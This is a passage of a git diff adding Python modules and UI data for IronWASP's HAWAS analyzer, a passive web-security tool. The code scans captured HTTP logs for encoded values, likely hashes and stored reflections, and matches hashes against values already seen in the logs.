Header", "X-Powered-By") + self.encoding_settings.ignore("Response Header", "Cache-Control") + self.encoding_settings.ignore("Response Header", "Content-Type") + self.encoding_settings.ignore("Response Header", "Content-Length") + + self.hashed_settings.ignore("Request Header", "Accept") + self.hashed_settings.ignore("Request Header", "Accept-Charset") + self.hashed_settings.ignore("Request Header", "Accept-Language") + self.hashed_settings.ignore("Request Header", "Accept-Encoding") + self.hashed_settings.ignore("Request Header", "Referer") + self.hashed_settings.ignore("Request Header", "User-Agent") + self.hashed_settings.ignore("Request Header", "Proxy-Connection") + self.hashed_settings.ignore("Request Header", "Host") + self.hashed_settings.ignore("Request Header", "Content-Length") + self.hashed_settings.ignore("Request Header", "Content-Type") + + self.hashed_settings.ignore("Response Header", "If-None-Match") + self.hashed_settings.ignore("Response Header", "ETag") + self.hashed_settings.ignore("Response Header", "Date") + self.hashed_settings.ignore("Response Header", "Server") + self.hashed_settings.ignore("Response Header", "X-Powered-By") + self.hashed_settings.ignore("Response Header", "Cache-Control") + self.hashed_settings.ignore("Response Header", "Content-Type") + self.hashed_settings.ignore("Response Header", "Content-Length") + + self.stored_reflection_settings.ignore("Request Header", "Accept") + self.stored_reflection_settings.ignore("Request Header", "Accept-Charset") + self.stored_reflection_settings.ignore("Request Header", "Accept-Language") + self.stored_reflection_settings.ignore("Request Header", "Accept-Encoding") + self.stored_reflection_settings.ignore("Request Header", "Referer") + self.stored_reflection_settings.ignore("Request Header", "User-Agent") + self.stored_reflection_settings.ignore("Request Header", "Proxy-Connection") + self.stored_reflection_settings.ignore("Request Header", "Host") + self.stored_reflection_settings.ignore("Request Header", "Content-Length") + self.stored_reflection_settings.ignore("Request Header", "Content-Type") + + self.stored_reflection_settings.ignore("Response Header", "If-None-Match") + self.stored_reflection_settings.ignore("Response Header", "ETag") + self.stored_reflection_settings.ignore("Response Header", "Date") + self.stored_reflection_settings.ignore("Response Header", "Server") + self.stored_reflection_settings.ignore("Response Header", "X-Powered-By") + self.stored_reflection_settings.ignore("Response Header", "Cache-Control") + self.stored_reflection_settings.ignore("Response Header", "Content-Type") + self.stored_reflection_settings.ignore("Response Header", "Content-Length") + self.stored_reflection_settings.ignore("Response Header", "") + self.stored_reflection_settings.ignore("Form Field", "") + +class SectionSetting: + def __init__(self, hawas): + self.black_list = {} + self.white_list = {} + + def ignore(self, section, parameter_name): + if not self.black_list.has_key(section): + self.black_list[section] = [] + if self.black_list[section].count(parameter_name) == 0: + self.black_list[section].append(parameter_name) + + def is_ignored(self, param): + black_list_match = False + for section in param.sections: + if self.black_list.has_key(section): + if self.black_list[section].count(param.name) > 0 or self.black_list[section].count("") > 0: + black_list_match = True + else: + return False + else: + return False + return black_list_match + + def is_value_ignored(self, value): + if self.black_list.has_key(value.section): + if self.black_list[value.section].count(value.parameter_name) > 0 or self.black_list[value.section].count("") > 0: + return True + return False + + def is_section_name_ignored(self, section, name): + if self.black_list.has_key(section): + if self.black_list[section].count(name) > 0 or self.black_list[section].count("") > 0: + return True + return False diff --git a/Iron/bin/Debug/modules/HAWAS/HAWASCore/LogReader.py b/Iron/bin/Debug/modules/HAWAS/HAWASCore/LogReader.py new file mode 100644 index 0000000..8d03667 --- /dev/null +++ b/Iron/bin/Debug/modules/HAWAS/HAWASCore/LogReader.py @@ -0,0 +1,323 @@ +from IronWASP import * +import re + +class Reader: + + def __init__(self, hawas): + self.hawas = hawas + self.md5_re = re.compile(r"([a-fA-F\d]{32})") + self.sha1_re = re.compile(r"([a-fA-F\d]{40})") + self.sha256_re = re.compile(r"([a-fA-F\d]{64})") + self.sha384_re = re.compile(r"([a-fA-F\d]{96})") + self.sha512_re = re.compile(r"([a-fA-F\d]{128})") + + def read_logs(self): + try: + for log_source in self.hawas.log_sources: + for i in range(1, self.get_last_log_id(log_source) + 1): + try: + self.hawas.show_status("Analyzing log ID {0}".format(i)) + sess = self.get_session(log_source, i) + self.analyze_session(sess, log_source) + self.read_session(sess, log_source) + except Exception as e: + if e.clsException.GetType().Name != "ThreadAbortException": + #IronException.Report("Error in HAWAS", e.message) + Tools.Trace("read_logs_exception", e.message) + self.hawas.show_status("Error reading log ID {0}".format(i)) + #self.display_results() + self.hawas.show_status("Trying to crack any hashes found in logs...") + self.crack_hashed_values() + self.hawas.show_status("Done!") + self.hawas.end_hawas() + except Exception as e: + if e.clsException.GetType().Name != "ThreadAbortException": + raise e + + def read_session(self, sess, source): + req = sess.Request + res = sess.Response + self.read_params(req, res, source) + + def read_params(self, req, res, source): + self.add_url_path_params(req, req.GetId(), source) + self.add_params(req.BaseUrl, req.Query, "Query", req.GetId(), source) + self.add_params(req.BaseUrl, req.Body, "Body", req.GetId(), source) + self.add_params(req.BaseUrl, req.Cookie, "Cookie", req.GetId(), source) + self.add_params(req.BaseUrl, req.Headers, "Request Header", req.GetId(), source) + if res: + self.add_params(req.BaseUrl, res.Headers, "Response Header", req.GetId(), source) + self.add_html_form_params(req.BaseUrl, res, req.GetId(), source) + self.add_set_cookie_params(req.BaseUrl, res, req.GetId(), source) + + def add_params(self, base_url, params, section, log_id, source): + try: + names = params.GetNames() + for name in names: + for val in params.GetAll(name): + self.hawas.params.add_param(base_url, name, val, section, log_id, source) + value_obj = self.hawas.params.get_value(base_url, name, val, section, log_id, source) + self.analyze_value(base_url, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_params", e.message) + + def add_url_path_params(self, req, log_id, source): + try: + if len(req.File) == 0 and req.Query.Count == 0: + for value in req.UrlPathParts: + self.hawas.params.add_param(req.BaseUrl, "", value, "Url Path Part", log_id, source) + value_obj = self.hawas.params.get_value(req.BaseUrl, "", value, "Url Path Part", log_id, source) + self.analyze_value(req.BaseUrl, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_url_path_params", e.message) + + def add_html_form_params(self, base_url, res, log_id, source): + if not res.IsHtml: + return + try: + input_nodes = res.Html.GetNodes("input") + if not input_nodes: + return + for node in input_nodes: + name = "" + value = "" + for attr in node.Attributes: + if attr.Name.lower() == "name": + name = attr.Value + elif attr.Name.lower() == "value": + value = attr.Value + if len(name):# > 0 and len(value) > 0: + self.hawas.params.add_param(base_url, name, value, "Form Field", log_id, source) + value_obj = self.hawas.params.get_value(base_url, name, value, "Form Field", log_id, source) + self.analyze_value(base_url, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_html_form_params", e.message) + + def add_set_cookie_params(self, base_url, res, log_id, source): + try: + for sc in res.SetCookies: + self.hawas.params.add_param(base_url, sc.Name, sc.Value, "Set-Cookie", log_id, source) + value_obj = self.hawas.params.get_value(base_url, sc.Name, sc.Value, "Set-Cookie", log_id, source) + self.analyze_value(base_url, value_obj) + except Exception as e: + Tools.Trace("LogReader - add_set_cookie_params", e.message) + + def analyze_value(self, base_url, value): + self.check_encoding(base_url, value) + self.check_hashing(base_url, value) + #self.stored_reflections(base_url, value) + + def analyze_session(self, sess, log_source): + self.check_stored_reflection(sess) + #def display_results(self): + # self.hawas.set_host_rows() + + def get_last_log_id(self, source): + if source == "Proxy": + return Config.LastProxyLogId + elif source == "Probe": + return Config.LastProbeLogId + elif source == "Shell": + return Config.LastShellLogId + elif source == "Scan": + return 1, Config.LastScanLogId + elif source == "Test": + return Config.LastTestLogId + else: + raise Exception("Invalid Source Specified") + + def get_session(self, source, id): + if source == "Proxy": + return Session.FromProxyLog(id) + elif source == "Probe": + return Session.FromProbeLog(id) + elif source == "Shell": + return Session.FromShellLog(id) + elif source == "Scan": + return Session.FromScanLog(id) + elif source == "Test": + return Session.FromTestLog(id) + else: + raise Exception("Invalid Source Specified") + + + def check_encoding(self, base_url, value): + try: + if self.hawas.config.encoding_settings.is_section_name_ignored(value.section, value.parameter_name): + return + dec_result = self.get_decoded_value(value.value) + if len(dec_result["Base64"]) > 0 or len(dec_result["Hex"]) > 0: + self.hawas.encoded_values.add(base_url, value, dec_result) + except Exception as e: + Tools.Trace("LogReader - check_encoding", e.message) + + def get_decoded_value(self, value): + dec_val_result = {"Base64": "", "Hex": ""} + try: + b64_dec_val = Tools.Base64Decode(value) + if self.is_ascii(b64_dec_val): + dec_val_result["Base64"] = b64_dec_val + except: + pass + try: + if Tools.IsEven(len(value)): + hex_str = "" + for i in range(0, len(value), 2): + hex_str = hex_str + "%{0}{1}".format(value[i], value[i+1]) + hex_dec_val = Tools.HexDecode(hex_str) + if self.is_ascii(hex_dec_val): + dec_val_result["Hex"] = hex_dec_val + except: + pass + return dec_val_result + + def is_ascii(self, value): + for i in range(len(value)): + if ord(value[i]) < 32 or ord(value[i]) > 126: + return False + return True + + def check_hashing(self, base_url, value): + try: + hash_type = self.get_hash_type(value.value) + if len(hash_type) > 0: + self.hawas.hashed_values.add(base_url, value, "", hash_type) + except Exception as e: + Tools.Trace("LogReader - check_hashing", e.message) + + def get_hash_type(self, value): + if len(value) == 32 and self.md5_re.match(value): + return "MD5" + elif len(value) == 40 and self.sha1_re.match(value): + return "SHA1" + elif len(value) == 64 and self.sha256_re.match(value): + return "SHA256" + elif len(value) == 96 and self.sha384_re.match(value): + return "SHA384" + elif len(value) == 128 and self.sha512_re.match(value): + return "SHA512" + else: + return "" + + def crack_hashed_values(self): + checked_values = [] + self.cracked_ids = {} + try: + for base_url in self.hawas.params.get_base_urls(): + param_list = self.hawas.params.get_parameters_list(base_url) + for pid in param_list.get_ids(): + param = param_list.get_parameter(pid) + if self.hawas.config.hashed_settings.is_ignored(param): + continue + for vid in param.values.get_ids(): + value = param.values.get_value_with_id(vid) + if checked_values.count(value.md5): + continue + else: + checked_values.append(value.md5) + self.crack_hashed_values_with_value(value) + except Exception as e: + Tools.Trace("LogReader - crack_hashed_values", e.message) + + def crack_hashed_values_with_value(self, value): + try: + for base_url in self.hawas.hashed_values.get_base_urls(): + hashed_values_list = self.hawas.hashed_values.get_list(base_url) + for hid in hashed_values_list.get_ids(): + #check if this hashed value was already cracked + if self.cracked_ids.has_key(base_url): + if self.cracked_ids[base_url].count(hid)> 0: + continue + hashed_value = hashed_values_list.get(hid) + self.crack_hashed_value_with_value(base_url, hid, hashed_value, value) + except Exception as e: + Tools.Trace("LogReader - crack_hashed_values_with_value", e.message) + + def crack_hashed_value_with_value(self, base_url, hid, hashed_value, value): + value_cracked = False + if hashed_value.hash_type == "MD5": + if hashed_value.value == value.md5: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA1": + if hashed_value.value == value.sha1: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA256": + if hashed_value.value == value.sha256: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA384": + if hashed_value.value == value.sha384: + hashed_value.cracked_value = value.value + value_cracked = True + elif hashed_value.hash_type == "SHA512": + if hashed_value.value == value.sha512: + hashed_value.cracked_value = value.value + value_cracked = True + #add this to the list of cracked values + if value_cracked: + if not self.cracked_ids.has_key(base_url): + self.cracked_ids[base_url] = [] + self.cracked_ids[base_url].append(hid) + + def check_stored_reflection(self, sess): + checked_values = [] + try: + for base_url in self.hawas.params.get_base_urls(): + r = Request(base_url) + if (sess.Request.Host == r.Host) or sess.Request.Host.endswith(".{0}".format(r.Host)) or r.Host.endswith(".{0}".format(sess.Request.Host)): + param_list = self.hawas.params.get_parameters_list(base_url) + for pid in param_list.get_ids(): + param = param_list.get_parameter(pid) + if self.hawas.config.stored_reflection_settings.is_ignored(param): + continue + for vid in param.values.get_ids(): + value = param.values.get_value_with_id(vid) + if self.hawas.config.stored_reflection_settings.is_value_ignored(value): + continue + if len(value.value) < 6: + continue + if checked_values.count(value.md5): + continue + else: + checked_values.append(value.md5) + self.check_stored_reflection_with_value(base_url, sess, value) + except Exception as e: + Tools.Trace("LogReader - check_stored_reflection", e.message) + return + + def check_stored_reflection_with_value(self, base_url, sess, value): + if self.request_has_value(sess.Request, value.value): + return + if sess.Response.BodyString.count(value.value) == 0: + return + if self.is_value_reflected(value.value, sess.Response): + self.hawas.stored_reflections.add(base_url, value, sess) + + + def is_value_reflected(self, val, res): + safe_val = re.escape(val) + regex = ".*\W{0}\W.*".format(safe_val) + if re.search(regex, res.BodyString) == None: + return False + else: + return True + + def request_has_value(self, req, value): + for name in req.Query.GetNames(): + if req.Query.GetAll(name).Contains(value): + return True + for name in req.Body.GetNames(): + if req.Body.GetAll(name).Contains(value): + return True + for name in req.Cookie.GetNames(): + if req.Cookie.GetAll(name).Contains(value): + return True + for name in req.Headers.GetNames(): + if req.Headers.GetAll(name).Contains(value): + return True + if len(req.File) == 0 and len(req.Query.GetNames()) == 0: + if req.UrlPathParts.Contains(value): + return True + return False \ No newline at end of file diff --git a/Iron/bin/Debug/modules/HAWAS/HAWASCore/Structures.py b/Iron/bin/Debug/modules/HAWAS/HAWASCore/Structures.py new file mode 100644 index 0000000..68ce17f --- /dev/null +++ b/Iron/bin/Debug/modules/HAWAS/HAWASCore/Structures.py @@ -0,0 +1,314 @@ +from IronWASP import * + +class Parameter(): + id_counter = 0 + + def __init__(self, name, section): + Parameter.id_counter += 1 + self.id = Parameter.id_counter + self.name = name + self.values = ValuesList() + self.sections = [section] + +class Value(): + id_counter = 0 + + def __init__(self, name, value, section, source, log_id): + Value.id_counter += 1 + self.id = Value.id_counter + self.value = value + self.parameter_name = name + self.section = section + self.proxy_log_ids = [] + self.probe_log_ids = [] + if source == "Proxy": + self.proxy_log_ids.append(log_id) + elif source == "Probe": + self.probe_log_ids.append(log_id) + self.md5 = Tools.MD5(value) + self.sha1 = Tools.SHA1(value) + self.sha256 = Tools.SHA256(value) + self.sha384 = Tools.SHA384(value) + self.sha512 = Tools.SHA512(value) + + def is_same(self, val): + if self.id == val.id: + return True + else: + return False + + def is_equal(self, val): + if self.parameter_name == val.parameter_name and self.value == val.value and self.section == val.section: + return True + else: + return False + +class UniversalParametersList(): + def __init__(self): + self.internal_dict = {} + + def add_param(self, base_url, name, value, section, log_id, source): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = ParametersList() + self.internal_dict[base_url].add_param(name, value, section, log_id, source) + + def get_value(self, base_url, name, value, section, log_id, source): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url].get_value(name, value, section, log_id, source) + + def get_base_urls(self): + return self.internal_dict.keys() + + def get_parameters_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + +class ParametersList(): + def __init__(self): + self.internal_dict = {} + + def add_param(self, name, value, section, log_id, source): + found_match = False + for p_id in self.internal_dict.keys(): + if self.internal_dict[p_id].name == name: + found_match = True + matched_param = self.internal_dict[p_id] + if matched_param.sections.count(section) == 0: + matched_param.sections.append(section) + matched_param.values.add_value(name, value, section, log_id, source) + break + if not found_match: + new_param = Parameter(name, section) + new_param.values.add_value(name, value, section, log_id, source) + self.internal_dict[new_param.id] = new_param + + def get_value(self, name, value, section, log_id, source): + for p_id in self.internal_dict.keys(): + if self.internal_dict[p_id].name == name: + return self.internal_dict[p_id].values.get_value(name, value, section, log_id, source) + + def get_ids(self): + return self.internal_dict.keys() + + def get_parameter(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class ValuesList(): + def __init__(self): + self.internal_dict = {} + + def add_value(self, name, value, section, log_id, source): + found_match = False + for v_id in self.internal_dict.keys(): + current_value = self.internal_dict[v_id] + if current_value.parameter_name == name and current_value.value == value and current_value.section == section: + found_match = True + if source == "Proxy": + if current_value.proxy_log_ids.count(log_id) == 0: + current_value.proxy_log_ids.append(log_id) + elif source == "Probe": + if current_value.probe_log_ids.count(log_id) == 0: + current_value.probe_log_ids.append(log_id) + break + if not found_match: + new_value = Value(name, value, section, source, log_id) + self.internal_dict[new_value.id] = new_value + + def get_value(self, name, value, section, log_id, source): + for v_id in self.internal_dict.keys(): + current_value = self.internal_dict[v_id] + if current_value.parameter_name == name and current_value.value == value and current_value.section == section: + if source == "Proxy": + if current_value.proxy_log_ids.count(log_id) > 0: + return current_value + elif source == "Probe": + if current_value.probe_log_ids.count(log_id) > 0: + return current_value + + def get_ids(self): + return self.internal_dict.keys() + + def get_value_with_id(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class EncodedValue(): + id_counter = 0 + + def __init__(self, value, decoded_result, log_ids, parameter_name): + EncodedValue.id_counter += 1 + self.id = EncodedValue.id_counter + self.value = value + self.base64_decoded_value = decoded_result["Base64"] + self.hex_decoded_value = decoded_result["Hex"] + self.log_ids = [log_ids] + self.parameter_names = [parameter_name] + + def add_log_ids(self, log_ids): + self.log_ids.extend(log_ids) + + def add_parameter_name(self, parameter_name): + if self.parameter_names.count(parameter_name) == 0: + self.parameter_names.append(parameter_name) + +class EncodedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, value, decoded_result): + found_match = False + for v_id in self.internal_dict.keys(): + current_encoded_value = self.internal_dict[v_id] + if current_encoded_value.value == value.value: + current_encoded_value.add_log_ids(value.proxy_log_ids) + current_encoded_value.add_parameter_name(value.parameter_name) + found_match = True + break + if not found_match: + new_encoded_value = EncodedValue(value.value, decoded_result, value.proxy_log_ids, value.parameter_name) + self.internal_dict[new_encoded_value.id] = new_encoded_value + + def get_ids(self): + return self.internal_dict.keys() + + def get(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class UniversalEncodedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, base_url, value, decoded_result): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = EncodedValuesList() + self.internal_dict[base_url].add(value, decoded_result) + + def get_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + + def get_base_urls(self): + return self.internal_dict.keys() + +class HashedValue(): + id_counter = 0 + + def __init__(self, value, cracked_value, hash_type, log_ids, parameter_name): + HashedValue.id_counter += 1 + self.id = HashedValue.id_counter + self.value = value#hashed value + self.cracked_value = cracked_value + self.hash_type = hash_type#md5, sha etc + self.log_ids = [log_ids] + self.parameter_names = [parameter_name] + + def add_log_ids(self, log_ids): + self.log_ids.extend(log_ids) + + def add_parameter_name(self, parameter_name): + if self.parameter_names.count(parameter_name) == 0: + self.parameter_names.append(parameter_name) + + +class HashedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, value, cracked_value, hash_type): + found_match = False + for v_id in self.internal_dict.keys(): + current_hashed_value = self.internal_dict[v_id] + if current_hashed_value.value == value.value: + current_hashed_value.add_log_ids(value.proxy_log_ids) + current_hashed_value.add_parameter_name(value.parameter_name) + found_match = True + break + if not found_match: + new_hashed_value = HashedValue(value.value, cracked_value, hash_type, value.proxy_log_ids, value.parameter_name) + self.internal_dict[new_hashed_value.id] = new_hashed_value + + def get_ids(self): + return self.internal_dict.keys() + + def get(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class UniversalHashedValuesList(): + def __init__(self): + self.internal_dict = {} + + def add(self, base_url, value, cracked_value, hash_type): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = HashedValuesList() + self.internal_dict[base_url].add(value, cracked_value, hash_type) + + def get_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + + def get_base_urls(self): + return self.internal_dict.keys() + +class StoredReflectionsItem(): + id_counter = 0 + + def __init__(self, value, sess): + StoredReflectionsItem.id_counter += 1 + self.id = StoredReflectionsItem.id_counter + self.parameter_name = value.parameter_name + self.value = value.value + self.request_log_ids = [] + self.request_log_ids.extend(value.proxy_log_ids) + self.response_log_ids = [sess.GetId()] + + def add_log_ids(self, req_log_ids, res_log_id): + for req_log_id in req_log_ids: + if self.request_log_ids.count(req_log_id) == 0: + self.request_log_ids.append(req_log_id) + if self.response_log_ids.count(res_log_id) == 0: + self.response_log_ids.append(res_log_id) + +class StoredReflectionsList(): + def __init__(self): + self.internal_dict = {} + + def add(self, value, sess): + found_match = False + for i_id in self.internal_dict.keys(): + current_sr_item = self.internal_dict[i_id] + if current_sr_item.parameter_name == value.parameter_name and current_sr_item.value == value.value: + current_sr_item.add_log_ids(value.proxy_log_ids, sess.GetId()) + found_match = True + break + if not found_match: + new_sr_item = StoredReflectionsItem(value, sess) + self.internal_dict[new_sr_item.id] = new_sr_item + + def get_ids(self): + return self.internal_dict.keys() + + def get(self, id): + if self.internal_dict.has_key(id): + return self.internal_dict[id] + +class UniversalStoredReflectionsList(): + def __init__(self): + self.internal_dict = {} + + def add(self, base_url, value, sess): + if not self.internal_dict.has_key(base_url): + self.internal_dict[base_url] = StoredReflectionsList() + self.internal_dict[base_url].add(value, sess) + + def get_list(self, base_url): + if self.internal_dict.has_key(base_url): + return self.internal_dict[base_url] + + def get_base_urls(self): + return self.internal_dict.keys() + + + diff --git a/Iron/bin/Debug/modules/HAWAS/HAWASCore/__init__.py b/Iron/bin/Debug/modules/HAWAS/HAWASCore/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/Iron/bin/Debug/modules/HAWAS/hawas_ui_xml.txt b/Iron/bin/Debug/modules/HAWAS/hawas_ui_xml.txt new file mode 100644 index 0000000..a896290 --- /dev/null +++ b/Iron/bin/Debug/modules/HAWAS/hawas_ui_xml.txt @@ -0,0 +1,2518 @@ + + + + 900 + 600 + + SEFXQVMgLSBIeWJyaWQgQW5hbHl6ZXIgZm9yIFdlYiBBcHBsaWNhdGlvbiBTZWN1cml0eQ== + AAABAAIAEBAAAAAAIABoBAAAJgAAACAgAAAAACAAqBAAAI4EAAAoAAAAEAAAACAAAAABACAAAAAAAEAEAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////n5+f/IyMj/gYGB/2hoaP9oaGj/fX19/8DAwP/29vb//////////////////////////////////////9DQ0P9HR0f/VFRU/5ycnP/ExMT/xMTE/6Wlpf9aWlr/Pz8//8DAwP///////////////////////////7Gxsf8QEBD/n5+f//z8/P///////////////////////f39/8bGxv8JCQn/np6e/////////////////9DQ0P8xMTH/ERER/5aWlv/////////////////////////////////MzMz/BQUF/zIyMv+9vb3///////n5+f9HR0f/ubm5/ysrK/96enr/////////////////////////////////l5eX/yQkJP/IyMj/Pz8///Ly8v/Jycn/VVVV//r6+v9CQkL/VlZW/////////////////////////////////25ubv9ERET//Pz8/2VlZf+wsLD/hISE/5ycnP//////VlZW/zU1Nf/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P88PDz/ampq//////+4uLj/bW1t/2hoaP/ExMT//////35+fv8GBgb/Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//BgYG/5ubm///////zs7O/19fX/9oaGj/xMTE//////+fn5//AQEB/xUVFf8XFxf/FxcX/xcXF/8XFxf/ExMT/wQEBP+8vLz//////8/Pz/9hYWH/f39//6SkpP//////tbW1/wgICP/Dw8P/+vr6//r6+v/6+vr/+vr6/6urq/8SEhL/4eHh//////++vr7/aGho/8LCwv9XV1f//f39/9XV1f8NDQ3/qqqq//////////////////////+EhIT/Gxsb//z8/P/+/v7/cHBw/6mpqf/29vb/Pj4+/9LS0v/t7e3/FBQU/5CQkP/////////////////+/v7/UVFR/01NTf//////5OTk/zo6Ov/v7+///////8PDw/89PT3/6enp/xwcHP9mZmb/////////////////9fX1/zExMf93d3f/8vLy/0xMTP+qqqr/////////////////n5+f/0FBQf8pKSn/RkZG//39/f///////////+Li4v8RERH/iYmJ/0xMTP+Wlpb//v7+///////////////////////AwMD/MjIy/yQkJP+3t7f/zMzM/8zMzP+hoaH/AAAA/y0tLf+qqqr//v7+//////////////////////////////////Ly8v+ysrL/bW1t/19fX/9eXl7/a2tr/6mpqf/v7+///////////////////////wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAA///////////////////////////////////////////////////////////09PT/4uLi/9XV1f/R0dH/0dHR/9HR0f/R0dH/0tLS/+Hh4f/x8fH//f39///////////////////////////////////////////////////////////////////////////////////////////////////////n5+f/rq6u/35+fv8+Pj7/Dw8P/wAAAP8AAAD/AAAA/wAAAP8FBQX/Ojo6/3Nzc/+goKD/3Nzc///////////////////////////////////////////////////////////////////////////////////////6+vr/oqKi/1dXV/8ODg7/ERER/z4+Pv9ra2v/iYmJ/4mJif+JiYn/iYmJ/3R0dP9OTk7/Gxsb/wQEBP9JSUn/kJCQ/+jo6P//////////////////////////////////////////////////////////////////////29vb/2xsbP8XFxf/DAwM/3Fxcf/AwMD/19fX/+/v7///////////////////////9PT0/+Dg4P/FxcX/g4OD/xYWFv8ODg7/UlJS/8nJyf///////////////////////////////////////////////////////v7+/8zMzP88PDz/BQUF/zIyMv/i4uL/9fX1///////////////////////////////////////////////////////39/f/5eXl/2dnZ/8EBAT/Gxsb/7q6uv/9/f3////////////////////////////////////////////MzMz/Ly8v/wAAAP8AAAD/bW1t//v7+//////////////////////////////////////////////////////////////////+/v7/y8vL/wcHB/8AAAD/CAgI/7i4uP//////////////////////////////////////29vb/z09Pf8LCwv/EBAQ/wAAAP9ISEj/+vr6//////////////////////////////////////////////////////////////////7+/v+2trb/AAAA/wAAAP8QEBD/HBwc/8jIyP////////////////////////////r6+v9sbGz/Dg4O/21tbf80NDT/AAAA/x8fH//39/f//////////////////////////////////////////////////////////////////Pz8/4GBgf8AAAD/FhYW/4uLi/8QEBD/TU1N/+Dg4P//////////////////////oqKi/xcXF/9DQ0P/19fX/1FRUf8AAAD/CQkJ//f39//////////////////////////////////////////////////////////////////6+vr/TU1N/wAAAP82Njb/1tbW/3t7e/8JCQn/h4eH/////////////////+fn5/9YWFj/DAwM/+Li4v/n5+f/XFxc/wAAAP8AAAD/5+fn//////////////////////////////////////////////////////////////////j4+P8cHBz/AAAA/1paWv/m5ub/6urq/zY2Nv80NDT/zMzM////////////srKy/xMTE/9xcXH/9fX1//j4+P+AgID/AAAA/wAAAP/IyMj/////////////////////////////////////////////////////////////////8vLy/wEBAf8AAAD/g4OD//n5+f/6+vr/m5ub/wMDA/+SkpL/+vr6//T09P9+fn7/ERER/8DAwP///////Pz8/4mJif8AAAD/AAAA/5GRkf/////////////////////////////////////////////////////////////////Hx8f/AAAA/wAAAP+NjY3//v7+///////MzMz/KCgo/09PT//n5+f/4uLi/z09Pf8+Pj7/19fX////////////j4+P/wAAAP8AAAD/cnJy/////////////////////////////////////////////////////////////////4+Pj/8AAAD/FRUV/6enp////////////+/v7/9ra2v/Dw8P/9XV1f/Y2Nj/Ghoa/2tra//v7+////////////+urq7/Ghoa/wAAAP9hYWH/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/+vr6//r6+v/6+vr/Y2Nj/wAAAP8sLCz/wcHB/////////////v7+/4iIiP8AAAD/z8/P/9HR0f8AAAD/iYmJ/////////////////8DAwP8qKir/AAAA/xgYGP9/f3//fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/35+fv9+fn7/fn5+/39/f/8YGBj/AAAA/0NDQ//c3Nz/////////////////mZmZ/wwMDP+tra3/0dHR/wAAAP+JiYn/////////////////09PT/zs7O/8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/WVlZ//T09P////////////////+hoaH/ExMT/7Gxsf/R0dH/AAAA/4mJif/////////////////j4+P/SUlJ/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8AAAD/AAAA/wAAAP9kZGT//////////////////////6Ojo/8UFBT/sbGx/9HR0f8AAAD/iYmJ//////////////////b29v9aWlr/AAAA/wQEBP8iIiL/MTEx/y8vL/8vLy//Ly8v/y8vL/8vLy//Ly8v/y8vL/8vLy//MjIy/xsbG/8CAgL/Dw8P/4+Pj///////////////////////m5ub/w4ODv+vr6//1dXV/w8PD/91dXX/9PT0/////////////v7+/2VlZf8BAQH/EBAQ/5ubm//19fX/9fX1//X19f/19fX/9fX1//X19f/19fX/9fX1//X19f/09PT/cnJy/wcHB/8aGhr/srKy//////////////////////+Kior/AAAA/8HBwf/g4OD/Nzc3/0lJSf/d3d3/////////////////dHR0/wYGBv8JCQn/fX19//////////////////////////////////////////////////f39/9PT0//AAAA/yYmJv/V1dX/////////////////9/f3/3p6ev8LCwv/1NTU//Hx8f9zc3P/EhIS/8DAwP////////////////+fn5//FBQU/wQEBP9lZWX/+/v7////////////////////////////////////////////4+Pj/0JCQv8AAAD/MTEx//X19f/////////////////V1dX/OTk5/z4+Pv/i4uL//f39/6ampv8MDAz/gICA//f39////////////7e3t/8cHBz/AAAA/1BQUP/4+Pj////////////////////////////////////////////BwcH/Kioq/wAAAP89PT3//f39/////////////f39/62trf8HBwf/i4uL//j4+P//////3Nzc/0lJSf8PDw//5OTk////////////yMjI/yIiIv8AAAD/SkpK/+/v7////////////////////////////////////////v7+/6SkpP8XFxf/AgIC/4GBgf/////////////////s7Oz/PT09/ygoKP/CwsL/////////////////kpKS/w4ODv9ra2v/+fn5///////u7u7/Li4u/wAAAP81NTX/0dHR///////////////////////////////////////8/Pz/hYWF/wQEBP8DAwP/rq6u/////////////////6enp/8FBQX/f39///7+/v/////////////////w8PD/V1dX/w4ODv+pqan///////n5+f81NTX/AAAA/yIiIv+1tbX///////////////////////////////////////b29v91dXX/AAAA/wUFBf/T09P////////////Ly8v/ExMT/zExMf/Ly8v////////////////////////////Jycn/HBwc/yAgIP+wsLD//////zw8PP8AAAD/GRkZ/6enp///////////////////////////////////////4eHh/1FRUf8AAAD/CgoK//n5+f//////zMzM/0JCQv8QEBD/ra2t//////////////////////////////////////+6urr/CgoK/yEhIf+3t7f/b29v/wEBAf8KCgr/kJCQ//7+/v/////////////////////////////////Ly8v/LCws/wAAAP8TExP//////8vLy/9CQkL/BgYG/6urq//7+/v//////////////